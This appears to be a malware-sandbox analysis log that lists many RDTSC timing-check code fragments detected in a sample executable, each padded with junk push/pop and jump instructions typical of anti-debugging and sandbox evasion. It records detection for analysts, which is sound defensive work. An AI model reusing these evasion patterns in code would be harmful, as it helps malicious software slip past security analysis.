Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 101868E second address: 10186AC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE8C4E5DB2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE8C4E5DB2Ch 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10186AC second address: 10186B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1018801 second address: 1018807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1018807 second address: 1018823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE8C4E011A3h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1018823 second address: 101882E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 101882E second address: 101883A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 101883A second address: 1018848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 ja 00007FE8C4E5DB26h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1018B5F second address: 1018B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1018CF8 second address: 1018D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jnl 00007FE8C4E5DB26h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1018FF5 second address: 1018FF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10221E2 second address: 10221E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1021052 second address: 102106E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102106E second address: 1021072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10218F1 second address: 102190F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF271B second address: FF2746 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE8C4E5DB28h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 2AEC17B0h 0x00000011 mov cx, dx 0x00000014 mov dword ptr [ebp+122D2188h], edi 0x0000001a push F712D1FFh 0x0000001f push eax 0x00000020 push edx 0x00000021 push edi 0x00000022 jnp 00007FE8C4E5DB26h 0x00000028 pop edi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF2AD0 second address: FF2AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007FE8C4E0119Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF2AE2 second address: FF2AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF2AE6 second address: FF2AF0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE8C4E0119Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF2BA7 second address: FF2BB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF2BB6 second address: FF2C42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007FE8C4E0119Eh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FE8C4E01198h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov edi, dword ptr [ebp+122D3830h] 0x00000031 push 00000004h 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007FE8C4E01198h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 0000001Bh 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d movzx edx, bx 0x00000050 nop 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FE8C4E011A0h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF3219 second address: FF321E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF33AC second address: FF33B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF33B0 second address: FF33FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007FE8C4E5DB37h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 jne 00007FE8C4E5DB2Ch 0x00000018 jmp 00007FE8C4E5DB2Fh 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 jc 00007FE8C4E5DB28h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FF33FC second address: FF3429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE8C4E0119Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FD39FD second address: FD3A03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FD3A03 second address: FD3A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FD3A07 second address: FD3A34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jmp 00007FE8C4E5DB34h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FD3A34 second address: FD3A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FACA36 second address: FACA43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007FE8C4E5DB26h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102622B second address: 1026235 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10263A5 second address: 102640C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FE8C4E5DB41h 0x0000000f pop ecx 0x00000010 pushad 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 js 00007FE8C4E5DB26h 0x0000001a jmp 00007FE8C4E5DB38h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jno 00007FE8C4E5DB26h 0x00000028 jmp 00007FE8C4E5DB2Ah 0x0000002d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102640C second address: 102643C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE8C4E0119Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE8C4E011A6h 0x00000010 push eax 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102C69B second address: 102C6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE8C4E5DB26h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e jl 00007FE8C4E5DB68h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FA43A9 second address: FA43AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FA43AF second address: FA43E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE8C4E5DB39h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FA43E0 second address: FA43E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102B344 second address: 102B352 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FE8C4E5DB26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102B7BC second address: 102B7C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102B7C1 second address: 102B7D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8C4E5DB2Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102B7D6 second address: 102B7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102BA86 second address: 102BAAD instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE8C4E5DB42h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102BAAD second address: 102BAD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E0119Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FE8C4E0119Eh 0x00000014 jo 00007FE8C4E01196h 0x0000001a push eax 0x0000001b pop eax 0x0000001c jne 00007FE8C4E011A2h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102BAD9 second address: 102BAE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE8C4E5DB26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102BAE3 second address: 102BB06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FE8C4E01196h 0x0000000a jmp 00007FE8C4E011A9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102BC3F second address: 102BC43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102BC43 second address: 102BC6B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jbe 00007FE8C4E01196h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007FE8C4E011A5h 0x00000013 push ebx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102BDF0 second address: 102BE2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b je 00007FE8C4E5DB26h 0x00000011 push edx 0x00000012 pop edx 0x00000013 jbe 00007FE8C4E5DB26h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d jmp 00007FE8C4E5DB2Ah 0x00000022 jmp 00007FE8C4E5DB31h 0x00000027 push eax 0x00000028 push edx 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 102ADFE second address: 102AE04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1032E37 second address: 1032E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FE8C4E5DB26h 0x0000000c popad 0x0000000d jnc 00007FE8C4E5DB2Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1035C88 second address: 1035C8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1035C8E second address: 1035CAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8C4E5DB39h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1035CAB second address: 1035CB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1038570 second address: 1038574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1038574 second address: 1038578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1038578 second address: 1038586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FE8C4E5DB2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10380DA second address: 10380F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E011A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 103DC4A second address: 103DC80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE8C4E5DB2Ah 0x0000000e pop edx 0x0000000f push ecx 0x00000010 jmp 00007FE8C4E5DB38h 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 103DDD5 second address: 103DDE6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FE8C4E0119Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 103DDE6 second address: 103DDEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 103DDEB second address: 103DDF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 103DDF3 second address: 103DE03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 jo 00007FE8C4E5DB32h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 103DE03 second address: 103DE09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 103E070 second address: 103E085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FE8C4E5DB26h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FE8C4E5DB26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 103E32E second address: 103E333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1042C70 second address: 1042C76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FAFF54 second address: FAFF58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10462D7 second address: 10462DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10462DB second address: 10462FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E0119Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007FE8C4E011A2h 0x00000011 jnc 00007FE8C4E01196h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104677C second address: 104678E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE8C4E5DB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FE8C4E5DB36h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104678E second address: 104679C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E0119Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104679C second address: 10467C0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FE8C4E5DB37h 0x00000008 pop esi 0x00000009 push edi 0x0000000a jns 00007FE8C4E5DB26h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104C8CD second address: 104C8D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104C8D5 second address: 104C8D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104CEF7 second address: 104CF01 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE8C4E0119Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104CF01 second address: 104CF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104CF08 second address: 104CF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104D725 second address: 104D729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104D729 second address: 104D72F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104D72F second address: 104D746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FE8C4E5DB31h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104D746 second address: 104D764 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE8C4E01196h 0x00000008 jmp 00007FE8C4E011A1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104DA9B second address: 104DACB instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE8C4E5DB3Eh 0x00000008 jmp 00007FE8C4E5DB38h 0x0000000d push edi 0x0000000e jo 00007FE8C4E5DB26h 0x00000014 pop edi 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104DACB second address: 104DACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104DACF second address: 104DADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FE8C4E5DB2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104DADD second address: 104DAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104DAE1 second address: 104DAF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnc 00007FE8C4E5DB26h 0x0000000b push edi 0x0000000c pop edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 je 00007FE8C4E5DB39h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104E3DE second address: 104E3E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 104E3E5 second address: 104E43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FE8C4E5DB38h 0x0000000b popad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f jl 00007FE8C4E5DB26h 0x00000015 pop ecx 0x00000016 popad 0x00000017 push edi 0x00000018 jnc 00007FE8C4E5DB2Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FE8C4E5DB32h 0x00000025 jmp 00007FE8C4E5DB2Dh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10559CF second address: 10559D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
